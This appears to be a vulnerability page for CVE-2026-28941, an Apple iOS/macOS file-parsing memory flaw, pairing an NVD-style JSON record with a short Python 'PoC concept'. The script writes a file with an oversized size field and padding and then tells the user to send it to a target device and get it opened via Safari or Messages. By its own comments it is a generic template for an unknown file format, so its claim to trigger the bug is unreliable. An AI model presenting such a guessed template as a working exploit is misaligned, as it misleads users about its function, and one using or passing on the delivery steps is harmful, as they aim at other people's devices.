CVE-2026-28941

# PoC Concept for CVE-2026-28941 (Memory Corruption/Leak) # This script generates a crafted file structure likely to trigger the parsing issue. # Note: The specific file format is obfuscated in the advisory, this is a generic template. import struct def generate_malicious_file(filename): """ Generates a file with a malformed header to trigger the improved checks bypass. """ with open(filename, 'wb') as f: # Write a valid magic number (example for a generic file type) f.write(b'\x00\x01\x00\x00') # Write a crafted size field that causes an integer overflow or OOB read # Setting an abnormally large size value malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Fill rest of the file with padding or specific payload # The payload might be designed to leak memory when read back payload = b'A' * 100 f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Send this file to a target device and induce opening via Safari or Messages.") if __name__ == "__main__": generate_malicious_file("cve_2026_28941_poc.bin")

{"cve": {"id": "CVE-2026-28941", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:55.327", "lastModified": "2026-05-13T14:37:28.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, macOS Sequoia 15.7.7, macOS Tahoe 26.5. Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}